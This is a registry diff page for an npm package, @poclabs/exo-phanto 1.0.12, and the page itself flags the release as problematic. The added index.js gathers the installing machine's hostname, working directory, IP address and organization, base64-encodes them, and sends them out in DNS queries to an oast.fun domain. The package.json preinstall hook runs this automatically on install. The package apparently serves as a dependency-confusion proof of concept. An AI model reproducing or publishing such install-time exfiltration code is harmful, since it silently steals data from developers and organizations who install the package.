@poclabs/exo-phanto 1.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @poclabs/exo-phanto might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +108 -0
  2. package/package.json +15 -0
  3. package/test.js +3 -0
package/index.js ADDED
@@ -0,0 +1,108 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+
5
+ // IPinfo API tokens to avoid rate limiting
6
+ const IPINFO_TOKENS = [
7
+ "e9334ba807050e1", // Replace with your first token
8
+ "26ed3371fb48a1", // Replace with your second token
9
+ "ca6b61c75a1ea9",
10
+ "c8e4ba13f45cdc" // Add more tokens as needed
11
+ ];
12
+
13
+ let currentTokenIndex = 0;
14
+
15
+ // Function to rotate IPinfo tokens
16
+ function getNextToken() {
17
+ const token = IPINFO_TOKENS[currentTokenIndex];
18
+ currentTokenIndex = (currentTokenIndex + 1) % IPINFO_TOKENS.length;
19
+ return token;
20
+ }
21
+
22
+ // Function to fetch organization info from IPinfo
23
+ function getOrganizationFromIP(ip) {
24
+ return new Promise((resolve) => {
25
+ const token = getNextToken();
26
+ const url = `https://ipinfo.io/${ip}?token=${token}`;
27
+
28
+ https.get(url, (res) => {
29
+ let data = "";
30
+ res.on("data", (chunk) => {
31
+ data += chunk;
32
+ });
33
+ res.on("end", () => {
34
+ try {
35
+ const response = JSON.parse(data);
36
+ resolve(response.org || "Unknown Organization");
37
+ } catch (err) {
38
+ resolve("Unknown Organization");
39
+ }
40
+ });
41
+ }).on("error", () => {
42
+ resolve("Unknown Organization");
43
+ });
44
+ });
45
+ }
46
+
47
+ // Fetch system and victim data
48
+ async function collectData() {
49
+ const ipAddress = getIPAddress();
50
+ const organization = await getOrganizationFromIP(ipAddress);
51
+
52
+ const data = {
53
+ time: new Date().toISOString(),
54
+ organization: organization || "Unknown",
55
+ ip_address: ipAddress,
56
+ package_name: "CustomPackageName", // Replace with dynamic package name if necessary
57
+ hostname: os.hostname(),
58
+ current_path: process.cwd(),
59
+ };
60
+ return data;
61
+ }
62
+
63
+ // Function to get the victim's IP address
64
+ function getIPAddress() {
65
+ const interfaces = os.networkInterfaces();
66
+ for (const name of Object.keys(interfaces)) {
67
+ for (const iface of interfaces[name]) {
68
+ if (!iface.internal && iface.family === "IPv4") {
69
+ return iface.address;
70
+ }
71
+ }
72
+ }
73
+ return "127.0.0.1"; // Default to localhost if no external IP found
74
+ }
75
+
76
+ // Encode data into base64, then split it into smaller chunks for DNS
77
+ function encodeDataInChunks(data, chunkSize = 50) {
78
+ const jsonData = JSON.stringify(data);
79
+ const base64Data = Buffer.from(jsonData).toString("base64");
80
+
81
+ const chunks = [];
82
+ for (let i = 0; i < base64Data.length; i += chunkSize) {
83
+ chunks.push(base64Data.slice(i, i + chunkSize));
84
+ }
85
+
86
+ return chunks;
87
+ }
88
+
89
+ // Send DNS query with a chunk of data (DNS exfiltration)
90
+ async function sendData() {
91
+ const payload = await collectData();
92
+ const chunks = encodeDataInChunks(payload);
93
+
94
+ // Send each chunk as a separate DNS query
95
+ for (const chunk of chunks) {
96
+ const query = `${chunk}.egvcjppgnjnbrgztumfhqdgqmdbaq1f5f.oast.fun`; // Replace with your exfiltration domain
97
+ dns.resolve4(query, (err) => {
98
+ if (err) {
99
+ console.error("Error sending DNS query:", err.message);
100
+ } else {
101
+ console.log("Exfiltration via DNS query successful for chunk.");
102
+ }
103
+ });
104
+ }
105
+ }
106
+
107
+ // Trigger the data exfiltration process
108
+ sendData();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@poclabs/exo-phanto",
3
+ "version": "1.0.12",
4
+ "description": "A fake package to test something",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "poclabs",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "@poclabs/exo-phanto": "^1.0.11"
14
+ }
15
+ }
package/test.js ADDED
@@ -0,0 +1,3 @@
1
+ // test.js
2
+ const fakePackage = require('@poclabs/exo-phanto');
3
+ fakePackage(); // This should log "This is a fake npm package!"